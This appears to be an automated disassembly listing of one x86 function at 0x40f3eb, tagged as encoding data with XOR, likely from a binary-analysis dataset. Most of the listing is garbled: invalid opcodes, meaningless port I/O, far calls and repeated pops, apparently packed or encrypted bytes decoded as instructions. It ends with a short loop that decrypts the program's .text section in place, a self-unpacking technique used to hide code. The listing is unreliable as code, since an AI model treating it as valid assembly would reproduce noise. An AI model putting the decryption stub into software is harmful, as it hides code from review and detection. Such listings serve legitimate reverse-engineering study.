Function at 0x40f3eb
Capabilities:
Encode data using xor

Disassembly:
cld
jns 0x40f26c
insd dword es:[edi], dx
stosd dword es:[edi], eax
cld
jns 0x40f271
fcomp qword [ebx - 0x7078789]
js 0x40f1f5
clc
clc
mov esi, 0x82ee6b9b
xchg edx, eax
pop ecx
sbb edx, ebx
mov esi, 0x9bdc6dab
stosd dword es:[edi], eax
insd dword es:[edi], dx
fcomp qword [ebx - 0x7078789]
wait
ja 0x40f287
clc
clc
clc
push ebp
clc
jns 0x40f28f
jns 0x40f285
stosd dword es:[edi], eax
mov bh, byte [ecx + 0x79]
fisubr dword [ebp + 0x55]
insd dword es:[edi], dx
push ebp
scasb al, byte es:[edi]
jns 0x40f29b
in eax, dx
add al, 0x78
clc
clc
mov dword [0xa2a16fbe], eax
mov esi, 0x59ba7f9b
mov byte [0xba7f9bbe], al
pop ecx
jg 0x40f1f0
wait
ja 0x40f261
mov esi, 0x79797987
jns 0x40f1fb
cli
sub ecx, edx
jns 0x40f2bb
jns 0x40f2bd
mov esi, 0xa7be7d9b
jge 0x40f206
cmpsd dword [esi], dword es:[edi]
jg 0x40f209
scasd eax, dword es:[edi]
ja 0x40f20c
stosb byte es:[edi], al
ja 0x40f249
clc
imul esp, dword [esi + 0x797d5add], 0x7bbca525
or edi, eax
cmpsb byte [esi], byte es:[edi]
fstp qword [edx + 0x7d]
jns 0x40f27d
movsd dword es:[edi], dword [esi]
mov esp, 0x69f80b7b
clc
imul esp, dword [ebx - 0x5e5e9042], 0x2ba424a2
mov esi, 0x79797993
mov dword [0xa1a16fbe], eax
mov byte [0xbe2ba424], al
xchg ebx, eax
jns 0x40f2e4
mov eax, dword [0xa424a2a1]
sub edi, dword [esi + 0x79797993]
jns 0x40f2e6
jns 0x40f22b
mov ebp, 0x9bdc77b3
mov bl, 0x77
fcomp qword [ebx + 0x1972bc75]
wait
jne 0x40f230
jb 0x40f28f
jns 0x40f2a6
jns 0x40f272
mov bl, 0x7f
clc
mov bl, 0x75
clc
mov bl, 0x7d
insd dword es:[edi], dx
mov ch, 0x86
stc
jns 0x40f246
mov esi, 0x19be7f9b
jnp 0x40f248
wait
jg 0x40f249
sbb dword [ebx - 0x46], edi
imul esi, edi, 0xbd7f9fbe
cdq
idiv dword [esi - 0x66428061]
jnp 0x40f2c2
mov esi, 0x79797997
jns 0x40f25c
jns 0x40f316
mov esi, 0x96bd77a7
cmpsd dword [esi], dword es:[edi]
ja 0x40f25e
xchg esi, eax
sub edi, dword [ebp + 0x79797987]
jns 0x40f321
jns 0x40f252
sub byte [esi + 0x797d5add], ah
mov dword [0x6fba6fbe], eax
jge 0x40f259
and al, 0xa4
ja 0x40f278
wait
ja 0x40f250
xchg edx, eax
pop ecx
and dword [ecx], esp
and eax, edi
clc
mov bl, 0x77
clc
mov bl, 3
clc
mov bl, 1
clc
mov bl, 0x7f
clc
mov bl, 0x7d
insd dword es:[edi], dx
sbb byte [ecx + edi*2 + 0x95bba79], dh
mov ebp, 0x28a8759b
or dword [ebp + 0x28a8759b], edi
cmpsb byte [esi], byte es:[edi]
mov esi, 0xebbe759b
cmpsd dword [esi], dword es:[edi]
fisub dword [edi + esi*2]
and al, 0x77
mov esi, 0xbe7f0b33
and byte [ebp - 0x6e], bh
pushal
mov esi, 0x60927d20
insd dword es:[edi], dx
sub cl, dh
int1
clc
clc
jns 0x40f31d
clc
xor al, 3
clc
xor al, 0x7f
jns 0x40f2fa
xor ecx, dword [ebx]
or edi, eax
xor al, 1
clc
xor ecx, dword [ebx]
or ebp, dword [ebp - 6]
mov ah, 0x79
jns 0x40f2cc
pop ebx
or dword [eax], ebp
fisub dword [ebx + 0x6fba6fbe]
mov dword [0x6fba6fbe], eax
mov esi, 0x156fba6f
mov byte [0x8a7db7b9], al
mov edx, 0xb9a2156f
mov bh, 0x7d
adc eax, 0x7db7b9a2
mov ecx, 0xf98a7db7
mov bh, cl
stc
jns 0x40f39d
jns 0x40f2d8
mov bl, 2
push ebp
fdiv st(2)
sbb dword [ecx - 0x42], edi
add dl, byte [ebp - 0x28]
sbb dword [ecx - 0x42], edi
lahf
jg 0x40f2ec
stc
xchg edx, eax
pop ecx
sbb ebp, ebp
push ecx
jns 0x40f3b0
jns 0x40f2f3
stosd dword es:[edi], eax
jns 0x40f319
wait
out dx, al
sbb dword [ecx - 0x37], edi
jne 0x40f32c
sbb bh, byte [ecx - 0x41]
lahf
xchg edx, eax
fnstcw word [ebp - 0x64419665]
add eax, 0xbe6b9bbd
wait
jg 0x40f317
wait
imul edi, dword [esi - 0x64428065], 0x6d
wait
insd dword es:[edi], dx
mov esi, 0x9bbd079b
outsd dx, dword [esi]
mov esi, 0x9bbd099b
jno 0x40f323
mov edx, 0xba7973ab
stosd dword es:[edi], eax
jne 0x40f3e9
stosd dword es:[edi], eax
jae 0x40f3e5
mov edx, 0xba7975ab
stosd dword es:[edi], eax
ja 0x40f3ed
mov edx, 0xbd7977ab
stosd dword es:[edi], eax
jae 0x40f335
mov ebp, 0xafbd73ab
scasd eax, dword es:[edi]
jne 0x40f3a6
sub ecx, ecx
leave
jns 0x40f3f7
jns 0x40f3f9
mov ebp, 0x9bbf659b
sub ecx, edx
jns 0x40f403
jns 0x40f405
jns 0x40f369
fcomp qword [ebx + 0x7979f95d]
wait
pop ebp
stc
jns 0x40f40b
jns 0x40f352
wait
jge 0x40f354
wait
pop edi
mov esi, 0x9bbd019b
wait
popal
insd dword es:[edi], dx
jns 0x40f3b4
jns 0x40f41d
mov esi, 0x79793939
cmp dword [ecx + 0x79], edi
jns 0x40f422
jns 0x40f368
wait
arpl word [edi - 0x41dea065], di
mov edi, 0xbe215f9b
and dword [esi + 0x11f87d9b], edi
clc
wait
jge 0x40f3ad
clc
adc eax, edi
mov dword [0xbaa5a563], eax
stosd dword es:[edi], eax
pop ebp
jns 0x40f37a
mov bh, 0x77
jns 0x40f3f7
ja 0x40f43c
xor eax, dword [ebx + ebp + 0x797987be]
jns 0x40f445
test byte [ebx], ch
mov esi, 0x79797987
jns 0x40f444
jns 0x40f38b
mov esi, 0x65a7befa
mov ebp, 0x87bd2bfa
jns 0x40f451
cli
mov esi, 0xfabd65a7
sub edi, dword [ebp + 0x79797987]
jns 0x40f3c9
jns 0x40f453
out dx, al
std
mov esi, 0xca2b659b
jns 0x40f45c
jns 0x40f45e
mov esi, 0xdda65d9b
fstp st(2)
mov dword [0xa2a16fbe], eax
fisub dword [ebx - 0x5d5e9042]
outsd dx, dword [esi]
mov eax, dword [0x9bbe77a2]
ja 0x40f3b0
wait
jg 0x40f3b3
sbb eax, 0x7f9f927d
insd dword es:[edi], dx
xchg edx, eax
lahf
jg 0x40f468
mov dword [0xbef8f871], eax
wait
jge 0x40f3c1
sbb dword [ebx - 0x46], edi
imul ebp, dword [ebx + esi], 0x7f9bbe81
fcomp qword [ecx]
mov edx, 0x81332c69
mov esi, 0x19dc7f9b
wait
jg 0x40f3ea
sbb dword [ebx], ecx
stc
or edi, ecx
jns 0x40f48c
jns 0x40f3a7
pop ecx
sbb esi, ebp
das
out dx, al
stc
mov esi, 0x31f87f9b
jg 0x40f419
xor dword [0xf87f9bbe], eax
add eax, 0xf87f9bbe
mov esi, 0x31f87f9b
add edi, dword [esi + 0x31f87f9b]
jg 0x40f41f
xor dword [ebx], eax
mov esi, 0x31f87f9b
wait
jg 0x40f425
xor dword [edi + 0x2e], edi
jg 0x40f45e
jns 0x40f42a
mov bl, 1
mov esi, 0x31f87f9b
add eax, edi
mov bl, 0x7d
insd dword es:[edi], dx
jge 0x40f4ab
bound esi, qword [ebx + 0x5bba7979]
or dword [esi + 0x35ba7f9b], edi
mov esi, 0x35ba7f9b
or edi, dword [ecx - 0x4d]
invalid
jge 0x40f44a
clc
mov bl, 0x7f
insd dword es:[edi], dx
jg 0x40f4c2
sti
js 0x40f450
clc
jns 0x40f48a
jns 0x40f48a
jns 0x40f48c
jns 0x40f48e
jns 0x40f490
jns 0x40f423
wait
ja 0x40f488
sub eax, 0x7979f98a
mov bh, cl
jns 0x40f4e5
insd dword es:[edi], dx
retf
pop ebx
pop es
mov esi, 0xa7be779b
jg 0x40f439
stosb byte es:[edi], al
pop es
mov esi, 0x69f809ae
xchg edx, eax
pop ecx
sbb dword [esi - 0x415c2523], esp
mov dword [0xa2a16fbe], eax
and al, 0xa4
outsd dx, dword [esi]
mov eax, dword [0xbea424a2]
mov byte [0xb7bea424], al
jge 0x40f451
movsb byte es:[edi], byte [esi]
mov esi, 0x9cbe7db7
mov bh, 0x7d
mov esi, 0xb4be019c
jg 0x40f456
pushfd
add dword [esi - 0x6442804c], edi
wait
ja 0x40f45a
push 0x78ba8fee
clc
mov bl, 0xfb
mov edx, 0xfbb3f878
insd dword es:[edi], dx
invalid
ja 0x40f4cd
mov esi, 0x359ae5c
cli
fnstcw word [esi + 0x1d95019f]
jnp 0x40f472
sti
xchg esi, eax
sbb eax, 0xbafb387d
js 0x40f4bc
mov bl, 0xfd
clc
lahf
jg 0x40f488
cmpsd dword [esi], dword es:[edi]
jge 0x40f48a
mov bl, 0x7d
mov edx, 0xb7797fb7
pop esi
mov esi, 0xbd1c039b
adc dword [esi + 0x5bd059b], edi
xchg esi, eax
test al, 0x7f
mov ebp, 0x7fa89605
mov ah, 0x7b
xchg esi, eax
xor al, 0xfb
insd dword es:[edi], dx
and al, 0x34
jns 0x40f567
mov esi, 0x359ae5c
cli
wait
ja 0x40f49f
sub byte [esi + 0x1bbedadd], ah
or edi, dword [ebp + 0x24]
mov esi, 0xbd7d0b33
jl 0x40f574
lds edx, [ecx]
jns 0x40f584
adc dword [ecx + 0x79], edi
mov esi, 0x79794539
jns 0x40f4cf
sbb al, 0x7b
insd dword es:[edi], dx
mov esi, 0xbd797911
push ecx
inc ebp
jns 0x40f597
jns 0x40f598
jns 0x40f4de
mov esi, 0x6dda285c
pop esp
sub dl, bl
insd dword es:[edi], dx
aaa
adc dword [ecx + 0x79], edi
mov esi, 0x79794539
jns 0x40f51d
invalid
or edi, dword [ebx + 0x33]
std
mov esi, 0x59bb7b19
mov bl, 0xf1
sbb edx, ebx
xchg edx, eax
pop ecx
fisub dword [ebp*2 + 0x79791126]
adc dword [ecx + 0x79], edi
mov esi, 0x967d0b33
push ecx
inc ebp
jns 0x40f5cc
jns 0x40f508
lodsb al, byte [esi]
sub dword [ebp - 0x418686ef], ebx
and byte [ebx - 0x43], bh
cmp eax, 0x79797945
sub dl, bl
insd dword es:[edi], dx
inc ebp
jns 0x40f5dc
jns 0x40f58d
fisubr dword [ebp - 0x6b]
xchg ebp, eax
adc dword [ecx + 0x79], edi
jns 0x40f5e4
mov esi, 0x79794539
jns 0x40f560
jns 0x40f5ea
out dx, al
std
mov esi, 0xf1967b1d
xor eax, dword [eax]
mov esi, 0x7b35bad9
sbb eax, 0x33f1967b
add byte [esi + 0x7b35bad9], bh
mov edx, 0xb3797b35
jns 0x40f534
int1
sub ch, ch
push edi
mov bl, 0x79
jns 0x40f547
and byte [ebx - 0x43], bh
sbb eax, 0xa3da287b
mov esi, 0x56fba6f
leave
jnp 0x40f5b7
fisub dword [ebx + 0x6fba6fbe]
add eax, 0x1ae675c9
jne 0x40f57f
out 0x1a, al
sbb bh, byte [ecx - 0x46]
jns 0x40f556
stosd dword es:[edi], eax
insd dword es:[edi], dx
jns 0x40f55f
lahf
insd dword es:[edi], dx
xchg edx, eax
fnstcw word [esi - 0x64428261]
jno 0x40f569
wait
jg 0x40f56b
wait
jae 0x40f56f
wait
add ebx, dword [ecx]
fcomp qword [ebx + 0x19726c6f]
insb byte es:[edi], dx
jb 0x40f5d3
jns 0x40f579
lahf
jne 0x40f57c
wait
ja 0x40f5ed
leave
jns 0x40f63e
jns 0x40f640
mov ebp, 0x9bbf6d9b
insd dword es:[edi], dx
sub ecx, edx
jns 0x40f64a
jns 0x40f64b
jns 0x40f64c
jns 0x40f5cc
clc
mov bl, 5
mov eax, dword [0x6d01b3f8]
sal dword [ebx + 0x5dbe7979], 1
mov bl, 0x79
jns 0x40f59e
pop ebp
mov esi, 0xca2b6d9b
sub ecx, edx
jns 0x40f661
jns 0x40f663
mov esi, 0x21daddd9
fisub dword [ecx]
and dword [ebx], ebp
clc
sub edi, eax
xchg ebx, eax
jns 0x40f66d
jns 0x40f66f
mov edi, 0x8e7f0b1b
sub ecx, dword [ebx]
jg 0x40f5a1
and al, 0xa4
mov ebp, 0xc96dbe0d
jne 0x40f5ee
sbb bh, byte [ecx - 0x6e]
xchg edx, eax
invalid
and dword [ebx], ebp
clc
xchg ebx, eax
jns 0x40f6a0
jns 0x40f6a2
mov edi, 0x8e7f0b1b
sub ecx, dword [ebx]
jg 0x40f5d4
and al, 0xa4
mov ebp, 0xc96dbe0d
insd dword es:[edi], dx
leave
jne 0x40f621
sbb bh, byte [ecx - 0x6e]
jns 0x40f5d0
invalid
mov ebp, 0xb3f871ab
ja 0x40f623
jno 0x40f63c
mov bl, 0x77
fcomp qword [ebx - 0x7070789]
wait
ja 0x40f642
clc
clc
clc
mov edi, 0xca2b739b
jns 0x40f6cd
jns 0x40f6cf
fisub dword [ecx]
sub edi, eax
and dword [ebx], ebp
clc
xchg ebx, eax
jns 0x40f6d6
jns 0x40f6d8
mov edi, 0x8e7f0b1b
or edi, dword [edi - 0x72]
mov gs, word [ebx]
or edi, dword [edi - 0x5e]
sub ecx, dword [ebx]
jg 0x40f60a
and al, 0xa4
mov ebp, 0xc96dbe0d
insd dword es:[edi], dx
leave
jne 0x40f657
sbb bh, byte [ecx - 0x6e]
invalid
cmpsb byte [esi], byte es:[edi]
mov esi, 0xdaa1a7eb
mov esi, 0xdf92719f
fidivr dword [esi - 0x206d8e61]
lahf
jno 0x40f637
fild qword [ebp - 0x33]
out dx, eax
insd dword es:[edi], dx
int 0xef
clc
clc
in eax, dx
out 0xf8, eax
clc
clc
insd dword es:[edi], dx
jle 0x40f65a
jns 0x40f72e
clc
xor ecx, dword [ebx]
jnp 0x40f727
test eax, 0xf87979a6
xchg ebx, eax
cmp esp, dword [esi + 0x1a]
jns 0x40f732
loope 0x40f6d6
jns 0x40f742
sub eax, 0x797979f8
clc
jns 0x40f6c7
popal
mov edx, 0x2dda7f5b
pop ebx
jg 0x40f6ae
sub eax, 0x791a2f5b
clc
das
sbb bh, byte [ecx - 8]
jns 0x40f6d2
cmp dword [edi + 0x22], 0x1a
jns 0x40f69b
pop ecx
xor eax, dword [ebp + 0x791a2f53]
push ebx
das
sbb bh, byte [ecx + 0x21]
clc
and eax, edi
add dword [ecx], 0x22
sbb bh, byte [ecx - 0x45]
pop ecx
xor edi, dword [eax + edi*8 + 0x33]
or edi, dword [ebx - 8]
clc
popal
invalid
adc dword [ebp + 0x21], 0x1a
jns 0x40f76e
jge 0x40f77f
iretd
jl 0x40f6e4
pop ecx
xor edi, dword [edx - 8]
popal
mov edx, 0x33967b5c
or edi, dword [ebp + 0x32]
xor ecx, dword [ebx]
jge 0x40f768
invalid
mov ebx, 0xbe81b359
add byte [ebx - 0x785cc23], bh
loope 0x40f709
pop esp
jnp 0x40f6e8
xor ecx, dword [ebx]
jg 0x40f788
out dx, al
sub dl, bl
mov esi, 0x247b0b1f
xchg edx, eax
je 0x40f6f7
pushal
mov bl, 0x87
insd dword es:[edi], dx
invalid
jns 0x40f78e
and al, 0x24
and al, 0x24
fdivr qword [ecx + 4]
jns 0x40f7ec
jns 0x40f7e2
push eax
cwde
jns 0x40f7f2
mov edx, 0x42e035b
and eax, 0x3c9da28
call [edx + 0x335c9679]
mov bp, 0x92f9
sub dl, bl
leave
add edi, edi
lcall 0xbd66, 0x335c9679
xor esp, dword [esi - 0x43]
stc
xchg edx, eax
pop ecx
sub dl, bl
mov esi, 0x247b0b1b
xchg edx, eax
and al, 0x92
je 0x40f72e
pop esp
mov bl, 0x87
insd dword es:[edi], dx
inc eax
cli
jns 0x40f819
and al, 0x24
and al, 0x24
and al, 0xdc
jns 0x40f7ac
jns 0x40f823
jns 0x40f819
mov ah, 0x98
jns 0x40f829
mov edx, 0x42e035b
and eax, 0x9395da28
add edi, edi
lcall 0x9ff, 0xbee63379
call [edx - 0x6d824287]
pop ecx
sub dl, bl
mov edx, 0x1a2f7197
jns 0x40f84c
xor eax, dword [esi]
sub eax, 0x791a2f71
insd dword es:[edi], dx
jns 0x40f848
ret 0x7933
movsd dword es:[edi], dword [esi]
xor edi, esi
clc
xor ecx, dword [ebx]
jnp 0x40f7e1
xor dword [ecx + 0x2f], 0x1a
jns 0x40f794
sbb bh, byte [ecx - 0x5b]
insd dword es:[edi], dx
insd dword es:[edi], dx
mov dl, 0x79
jns 0x40f822
jns 0x40f86d
sub eax, 0x791a235d
sub eax, 0x791a234f
insd dword es:[edi], dx
pop ebp
and ebx, dword [edx]
jns 0x40f827
dec edi
and ebx, dword [edx]
jns 0x40f86c
adc al, 0xf8
clc
clc
mov ebx, 0xb3a5a559
and esp, dword [esp]
sub eax, 0x7999a754
insd dword es:[edi], dx
sub al, 0xef
clc
clc
pop eax
sbb dword [ebx], esp
sbb bh, byte [ecx - 0x42]
jns 0x40f7d9
pop esp
fmul dword [ebp + 0x23]
sbb bh, byte [ecx - 0x6a]
fsub qword [ebp + 0x7cbe80b2]
mov ebx, 0xf87a3359
movsd dword es:[edi], dword [esi]
mov dl, 0x80
mov esi, 0x3359bb7c
jp 0x40f825
cmp byte [esi + 0x3359bb7c], 0x7a
clc
jl 0x40f7e4
pop ecx
xor edi, dword [edx - 8]
popal
mov edx, 0xf4967b5c
xor dh, cl
mov edx, 0x9a0e3397
jns 0x40f8b5
test al, 0x28
xor eax, dword [esi - 0x65f1ccd3]
jns 0x40f8b3
or eax, 0xbb797933
pop ecx
xor edi, dword [ecx + 0x79]
jns 0x40f8c3
mov ebx, 0x7f33a559
jns 0x40f880
movsd dword es:[edi], dword [esi]
xor edi, dword [edi + 0x2e]
jg 0x40f87e
jns 0x40f880
jp 0x40f882
jns 0x40f84e
xor dword [ebx], 0xe
lcall 0x7f2e, 0xda599279
sub eax, 0x791acf69
insd dword es:[edi], dx
bound eax, qword [edi]
jns 0x40f8e3
jge 0x40f8da
insd dword es:[edi], dx
and ah, byte [eax]
jns 0x40f8ea
movsd dword es:[edi], dword [esi]
mov edx, 0x927977ab
je 0x40f895
xchg ebp, eax
xchg ebx, eax
and edi, edi
lcall 0x2193, 0xbdae3379
call [edx + 0x19b3e79]
dec edx
pop ds
jns 0x40f8b3
scasb al, byte es:[edi]
mov ebp, 0x9aff2193
jns 0x40f8c6
xchg ebx, eax
and edi, edi
lcall 0x1f4a, 0x19b3e79
wait
add dword [edx + 0x1f], ecx
call [edx + 0x7fb7ba79]
jns 0x40f847
pushfd
clc
xchg ebx, eax
das
push cs
lcall 0x7979, 0xe766d79
mov esi, 0x2d93f875
push cs
lcall 0x7979, 0xeef6d79
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ebp, 0xf8bb6b9b
wait
imul edi, dword [ebx - 0x45fbcc08], 0xffffffaf
clc
xor eax, dword [edx + edi*4]
add al, 0xba
scasd eax, dword es:[edi]
imul edi, dword [ebx - 0x6b], 0xffffffb7
imul esi, dword [edx], 0xffffffff
mov esi, 0x79be6b9b
mov ebx, 0xf8703359
jns 0x40f880
pop ecx
xor esi, dword [eax - 8]
popal
out dx, al
outsb dx, byte [esi]
sub eax, 0x791a2365
push ebp
pop edi
and ebx, dword [edx]
jns 0x40f944
sbb al, 0x78
clc
clc
movsd dword es:[edi], dword [esi]
sub eax, 0x791a236b
push ebp
and ebx, dword [bp + si]
and ebx, dword [edx]
jns 0x40f954
adc al, 0x78
clc
clc
movsd dword es:[edi], dword [esi]
fcomp qword [ebx - 0x7078789]
clc
insd dword es:[edi], dx
mov byte [ecx + 0x79], bh
jns 0x40f8b3
mov bh, 1
jns 0x40f8b0
or eax, 0xff2393bd
lcall 0x1f69, 0x6d7d2e79
jns 0x40f984
movsd dword es:[edi], dword [esi]
clc
mov bl, 0x7d
insd dword es:[edi], dx
insb byte es:[edi], dx
idiv eax
clc
xchg edx, eax
je 0x40f933
mov edx, 0x337901b7
jge 0x40f94c
jge 0x40f98d
fcomp qword [edi]
jns 0x40f99d
movsd dword es:[edi], dword [esi]
fisubr dword [ebp + 0x24]
pop es
jns 0x40f9a4
fisubr dword [esi]
jns 0x40f95d
jns 0x40f929
xor ecx, dword [ebx]
jg 0x40f9a2
mov edi, eax
clc
clc
mov edx, 0x2eda7f5b
jns 0x40f96e
stc
clc
xor ecx, dword [ebx]
jg 0x40f9b3
add edi, eax
clc
clc
mov edx, 0x2eda7f5b
stc
jg 0x40f928
stc
jns 0x40f981
jns 0x40f9c2
insd dword es:[edi], dx
sti
clc
clc
clc
mov edx, 0x2eda7f5b
stc
stc
stc
jns 0x40f9d1
je 0x40f9de
clc
clc
mov edx, 0x24da7f5b
insd dword es:[edi], dx
mov byte [esi], cl
jns 0x40f9eb
mov esi, 0xb56d2471
and eax, 0x6d247979
aaa
mov bl, 0x79
jns 0x40f9a5
insd dword es:[edi], dx
invalid
jns 0x40f9ff
and al, 0x6d
sub al, 0xb3
jns 0x40fa05
and al, 0x6d
insd dword es:[edi], dx
and al, 0xb3
jns 0x40fa0b
and al, 0x6d
sbb al, 0xb2
jns 0x40fa11
and al, 0x6d
or dword [eax + edi*8], ebx
clc
and al, 0x6d
in al, 0xb1
jns 0x40fa1d
sub eax, 0x7919f597
insd dword es:[edi], dx
xchg edi, eax
cmc
sbb dword [ecx + 0x6d], edi
cmp dword [ebp + 0x5bba7979], ecx
or ecx, edx
cmp esp, dword [esi + 0x1a]
jns 0x40f9df
sbb bh, byte [ecx + 0x28]
fidivr dword [esi - 0x5d84f4e1]
xchg edx, eax
out 0x96, al
fisub word [esp]
movsb byte es:[edi], byte [esi]
xor edi, dword [ebp - 0x42]
aaa
or eax, dword [ebx]
xchg esi, eax
div byte [esi + eax*4 + 0x79f9276d]
jns 0x40fa01
add al, 0x28
mov ebp, 0xa2a2a211
mov byte [0x971c6da2], al
xchg edi, eax
jns 0x40fa5a
mov edx, 0x5cbe035b
out dx, al
xchg ecx, eax
mov esi, 0x96050b33
mov bl, 0x7b
add eax, 0x7bb3f296
cmp eax, 0xbee5ee85
loope 0x40fa35
jl 0x40fa36
jp 0x40fa15
sbb al, 0x16
fidiv dword [ebx]
cli
mov al, byte [0xf696f2b3]
mov bl, 0xf2
xchg esi, eax
div byte [ebx + 0x6d853d01]
or ecx, edi
mov bl, 1
cmp eax, 0xf9096d85
stc
jns 0x40fa87
or ah, byte cs:[ebp - 0xe418243]
mov ebp, 0xeef1be7d
out dx, al
pop ecx
xchg edx, eax
pop ecx
test al, 0x28
cmpsb byte [esi], byte es:[edi]
fisub dword [ebx - 0x41db9042]
mov dword [0xbe246fbe], eax
mov bl, 3
movsb byte es:[edi], byte [esi]
xchg edx, eax
clc
xchg esi, eax
hlt
insd dword es:[edi], dx
jns 0x40fab1
jns 0x40fab1
jns 0x40fa68
add al, 0x28
mov ebp, 0xa4a4a411
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
insd dword es:[edi], dx
call 0xbaba7360
pop ebx
add edi, dword [esi - 0x6a6411a4]
mov bh, 1
xor eax, dword [edx*4 - 0x7ecd804d]
and al, 0xf8
clc
mov bl, 1
clc
mov bl, 0x7d
insd dword es:[edi], dx
invalid
out dx, al
fprem
mov bl, 0x7f
movsb byte es:[edi], byte [esi]
clc
mov bl, 0x7d
insd dword es:[edi], dx
jle 0x40fa6d
jns 0x40faef
mov edx, 0xb7957f5b
add dword [ebx], esi
push esp
xchg ebp, eax
mov bl, 0x7f
mov bh, 1
xor edx, dword [ebp + edx*4 - 0x4d]
jg 0x40fa34
mov dl, 0
insd dword es:[edi], dx
dec esp
add byte [ebp + 0x4c], ch
jns 0x40fb00
jns 0x40fab7
or ah, byte [ebp - 0xe418243]
out dx, al
iretd
add al, 0x28
mov ebp, 0xa4a4a411
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
insd dword es:[edi], dx
sub eax, 0xba797917
jns 0x40fa7a
pop ebx
add edi, dword [esi - 0x6a7211a4]
mov bh, 1
xor ebp, dword [ecx - 0x6b]
wait
jg 0x40fa81
add byte [ebp - 0x5b], ch
jns 0x40fb4d
jns 0x40fb04
or ah, byte [ebp - 0xe418243]
out dx, al
in al, 0x21
clc
mov bl, 1
clc
mov bl, 0x7d
insd dword es:[edi], dx
je 0x40fb1b
jns 0x40fb63
mov edx, 0x59927f5b
test al, 0x28
cmpsd dword [esi], dword es:[edi]
fidivr dword [esi - 0x6d84f4e5]
fst qword [esi + 0x663ddf7b]
sbb bh, byte [ecx + 0x33]
add bl, byte [ecx + 0x378ff5ba]
int1
xor eax, dword [edx]
cdq
mov edx, 0xf1378ff5
cmc
invalid
mov edi, 0xf5baef1d
xor dword [edi + edi*2 - 0x25da00d2], 0x3fdf7bbe
sbb bh, byte [ecx - 0x26]
sti
sbb edi, eax
clc
invalid
clc
add byte cs:[ebp + 0x59865d96], ah
mov bl, cl
mov edx, 0x6dda7d59
jo 0x40fabe
jns 0x40fbac
mov ebx, 0x557cb359
jno 0x40fb20
sbb bh, byte [ecx - 0x26]
mov edx, 0x6dda7d59
out 0x8d, al
jns 0x40fbbf
mov ebx, 0x557cb359
jae 0x40fb33
sbb bh, byte [ecx - 0x26]
mov edx, 0x24da7f59
insd dword es:[edi], dx
in al, dx
clc
clc
clc
mov esi, 0xa17d0b1f
mov ebp, 0xf8bf6d7d
mov eax, dword [0xbf6d7dbd]
clc
clc
clc
movsd dword es:[edi], dword [esi]
mov esi, 0xf8596d71
clc
clc
mov ebp, 0x5fda2811
pop edi
pop edi
pop edi
pop edi
pop edi
pop edi
pop edi
pop edi
pop edi
pop edi
pop edi
pop edi
pop edi
mov esi, 0xbe7f0b23
pop ds
or edi, dword [ebx - 0x45]
bound esi, qword [ebx]
lodsd eax, dword [esi]
xchg edx, eax
pop ecx
sbb ecx, dword ds:[ebx]
jge 0x40fbce
pop ecx
mov bl, 4
mov ecx, 0x79f97976
jns 0x40fbcf
add byte [edx - 0x657a8269], bh
jns 0x40fc1e
xor edi, ebx
in eax, dx
jno 0x40fb5e
jns 0x40fc25
movsb byte es:[edi], byte [esi]
mov esi, 0x7b76baf5
xor dl, byte [ecx - 0x16451a0c]
cli
xor edi, dword [edi - 0x72]
loope 0x40fbfb
jmp 0x8ec02fb6
cld
mov edx, 0xedbaf9dc
stc
mov bl, 0x74
mov esi, 0x7d69d95d
cli
fnstcw word [esi + 0x169d95d]
mov esi, 0x169d95d
pop ebp
fldcw word [ecx + 1]
add edx, edi
cli
fnstcw word [esi - 0x59545a2]
fldln2
jp 0x40fc11
jl 0x40fbd2
into
mov ebx, 0x3d7e3362
cld
mov edx, 0x6ebaf9dc
stc
mov bl, 0x74
mov esi, 0xa87d0b1b
fidivr dword [esi - 0x2584f4e5]
mov dword [0x6fba6fbe], eax
or dword [esp - 0x7910293], esp
mov esi, 0x96fba6f
movsb byte es:[edi], byte [esi]
and al, 0x6d
outsd dx, dword [esi]
mov edx, 0x24a4096f
insd dword es:[edi], dx
std
outsb dx, byte [esi]
clc
clc
xchg edx, eax
clc
xchg esi, eax
hlt
clc
clc
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
fdivr qword [ecx + 4]
jns 0x40fc96
jns 0x40fc8c
insd dword es:[edi], dx
jnp 0x40fbb7
xchg esi, eax
jns 0x40fc9c
mov edx, 0x5dba035b
add edi, dword [edx + 0x13eef85d]
xchg ebp, eax
mov bh, 0x7f
xor ebp, dword [eax - 0x2b]
clc
pop ebp
clc
out dx, al
adc edx, dword [ebp + 0x68337fb7]
aad 0xf8
clc
clc
mov eax, 0x9bdcd996
outsd dx, dword [esi]
popfd
jns 0x40fcb6
jns 0x40fbfc
mov bl, 0x6d
mov ebp, 0x9fbd69b3
imul esi, dword [edx + edi*8 - 0x7946443], 0xffffffb3
add edi, dword [edi - 0x4c079665]
add eax, edi
mov bl, 0x7f
and eax, edi
mov dword [0x15bba7d], eax
test al, 0xdd
fisub dword [esi + edi*4]
xor ecx, dword [ebx]
jge 0x40fc27
mov edi, 0x21010b1b
sbb ecx, dword [ebx]
add dword [ecx], esp
jns 0x40fc67
xor ecx, dword [ebx]
add ebp, dword [0x79993360]
insd dword es:[edi], dx
cmp al, bh
clc
clc
mov edx, 0xda28015b
mov byte [0x7d0b27be], al
mov dword [0xe796ef92], eax
mov bl, 0x7b
xchg edx, eax
jnp 0x40fc20
pop ecx
out dx, al
xchg edi, eax
and al, 0xa4
mov byte [0xf8edb46d], al
in eax, dx
clc
clc
mov esi, 0x6d241c71
and al, 0x6d
div al
clc
clc
mov esi, 0xa5f79675
movsd dword es:[edi], dword [esi]
xor ecx, dword [ecx]
mov byte [0x7c6da424], al
idiv eax
clc
mov edx, 0x59bb7f5b
pop ecx
xor edi, edi
mov dword [0xa3a3a3a3], eax
insd dword es:[edi], dx
sub eax, 0xba797995
pop ebx
add edi, dword [esi - 0x6d851124]
pop ecx
test al, 0x28
cmpsd dword [esi], dword es:[edi]
cmpsb byte [esi], byte es:[edi]
ficomp dword [edi + 0x5f]
pop edi
pop edi
pop edi
pop edi
pop edi
pop edi
pop edi
pop edi
pop edi
pop edi
pop edi
pop edi
pop edi
mov eax, dword [0x7b0b1fbf]
mov ds, word [ebp - 0x7a]
pop ecx
hlt
pushal
mov eax, 0
mov dl, byte [eax + section..text]
rol dl, 0xf1
add dl, 0xe
mov byte [eax + section..text], dl
inc eax
cmp eax, 0x2319b
jne 0x4241a1
